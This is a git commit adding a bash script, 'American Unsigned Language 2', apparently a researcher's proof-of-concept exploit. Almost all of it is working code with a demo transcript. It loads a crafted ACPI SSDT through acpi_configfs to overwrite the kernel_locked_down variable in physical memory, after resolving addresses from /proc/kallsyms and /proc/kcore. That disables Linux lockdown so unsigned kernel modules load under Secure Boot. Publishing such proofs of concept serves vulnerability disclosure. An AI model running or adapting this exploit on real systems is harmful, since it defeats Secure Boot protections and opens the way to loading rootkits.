diff options
author | Jason A. Donenfeld <Jason@zx2c4.com> | 2020-06-15 04:17:35 -0600 |
---|---|---|
committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2020-06-15 22:26:23 -0600 |
commit | c00b38fdbed9b4499a2c75ff4e7c65a9ba42e028 (patch) | |
tree | 8b0e38de1f6a13a1cc6e70a47cf10f88ec414d37 /american-unsigned-language-2.sh | |
parent | Initial commit (diff) | |
download | american-unsigned-language-c00b38fdbed9b4499a2c75ff4e7c65a9ba42e028.tar.xz american-unsigned-language-c00b38fdbed9b4499a2c75ff4e7c65a9ba42e028.zip |
Add second installment for mainline
Diffstat (limited to 'american-unsigned-language-2.sh')
-rwxr-xr-x | american-unsigned-language-2.sh | 128 |
1 files changed, 128 insertions, 0 deletions
diff --git a/american-unsigned-language-2.sh b/american-unsigned-language-2.sh new file mode 100755 index 0000000..60081e6 --- /dev/null +++ b/american-unsigned-language-2.sh @@ -0,0 +1,128 @@ +#!/bin/bash + +# American Unsigned Language 2 +# ============================ +# by zx2c4, 2020-06-14 +# +# This sequel is an improvement on American Unsigned Language, in that it works +# on mainline kernels and does not require any reboots. +# +# The configfs module for acpi allows us to add arbitrary acpi tables at +# runtime, enabling us to write to physical addresses arbitrarily. This +# exploit uses that to disable lockdown, which enables one to load unsigned +# kernel drivers into systems with Secure Boot enabled, without needing to sign +# the modules. +# +# This works around KASLR by getting the physical base from /proc/kcore and +# the randomized kernel symbol addresses from /proc/kallsysm. If we didn't +# have access to kcore, we could just append nokaslr like in the prior version, +# and use normal old /proc/iomem, which works fine. +# +# The \_SB_.GSIF._STA method is used, because SSDTs loaded this way cannot +# overwrite DSDT methods, but they can add new ones, and on the QEMU rig used +# to develop this, \_SB_.GSIF._STA was not defined, even though the kernel was +# evaluating it. Depending on your platform, you may wish to use a different +# method. +# +# Demo time: +# +# 1) First we show which kernel we're running. We test with Ubuntu 20.04's 5.4 +# kernel, since it's already signed and works for our purposes: +# +# zx2c4@focalpoint:~$ uname -a +# Linux focalpoint 5.4.0-37-generic #41-Ubuntu SMP Wed Jun 3 18:57:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux +# +# 2) Observe that we can't load unsigned WireGuard: +# +# zx2c4@focalpoint:~$ sudo modprobe wireguard +# modprobe: ERROR: could not insert 'wireguard': Required key not available +# +# 3) Run the exploit: +# +# zx2c4@focalpoint:~$ ./american-unsigned-language-2.sh +# [+] Checking lockdown status +# * lockdown = integrity +# [+] Resolving kernel symbols +# * kernel_locked_down = 0xffffffffbd54d5a4 +# [+] Mapping virtual address to physical address +# * phys_base = 0x1b3c00000 +# * kernel_locked_down = 0x1f114d5a4 +# [+] Constructing ASL +# [+] Installing ASL +# [+] Checking lockdown status +# * lockdown = none +# [+] Success +# +# 4) Check that it works: +# +# zx2c4@focalpoint:~$ sudo modprobe wireguard +# zx2c4@focalpoint:~$ dmesg | grep WireGuard +# [ 73.469158] wireguard: WireGuard 1.0.20200611 loaded. See www.wireguard.com for information. + +set -e + +SELF="$(readlink -f "${BASH_SOURCE[0]}")" +[[ $UID == 0 ]] || exec sudo -- "$BASH" -- "$SELF" "$@" + +echo "====================================" +echo "= American Unsigned Language 2 =" +echo "= by zx2c4 =" +echo "====================================" + +lockdown_status() { + echo "[+] Checking lockdown status" + [[ $(< /sys/kernel/security/lockdown) =~ \[([a-z]+)\] ]] + echo " * lockdown = ${BASH_REMATCH[1]}" + if [[ ${BASH_REMATCH[1]} == none ]]; then + echo "[+] Success" + exit 0 + fi +} + +lockdown_status + +if ! command -v iasl >/dev/null 2>&1; then + echo "[+] Installing dependencies" + apt-get install -y acpica-tools +fi + +echo "[+] Resolving kernel symbols" +read -r addr type symbol < <(grep -F kernel_locked_down /proc/kallsyms) +[[ $symbol == kernel_locked_down ]] +addr=$(( 0x$addr )) +printf ' * kernel_locked_down = 0x%x\n' "$addr" + +echo "[+] Mapping virtual address to physical address" +# We could use /proc/iomem instead and disable kaslr if /proc/kcore isn't possible +IFS== read -r _ phys_base < <(grep -aFm 1 phys_base /proc/kcore) +printf ' * phys_base = 0x%x\n' "$phys_base" +addr=$(( $addr - 0xffffffff80000000 + $phys_base )) +# If the system DSDT is version 1 instead of 2, and addr is > 2^32-1, then +# we'll fail to address it. This should be pretty rare on real hardware though. +printf ' * kernel_locked_down = 0x%x\n' "$addr" + +echo "[+] Constructing ASL" +trap 'rm -f /root/trigger.aml' EXIT +iasl -p "/root/trigger" /dev/stdin > /dev/null <<-_EOF + DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001) { + External (\_SB_.GSIF, DeviceObj) + OperationRegion (KMEM, SystemMemory, $(printf '0x%x' "$addr"), 4) + Field (KMEM, DWordAcc, NoLock, WriteAsZeros) { + LKDN, 32 + } + Method (\_SB_.GSIF._STA) { + LKDN = Zero + Return (Zero) + } + } +_EOF + +echo "[+] Installing ASL" +modprobe acpi_configfs +[[ -d /sys/kernel/config/acpi/table/aml ]] && rmdir /sys/kernel/config/acpi/table/aml +mkdir -p /sys/kernel/config/acpi/table/aml +cat /root/trigger.aml > /sys/kernel/config/acpi/table/aml/aml +sleep 0.5 + +lockdown_status +echo "[-] Failure" |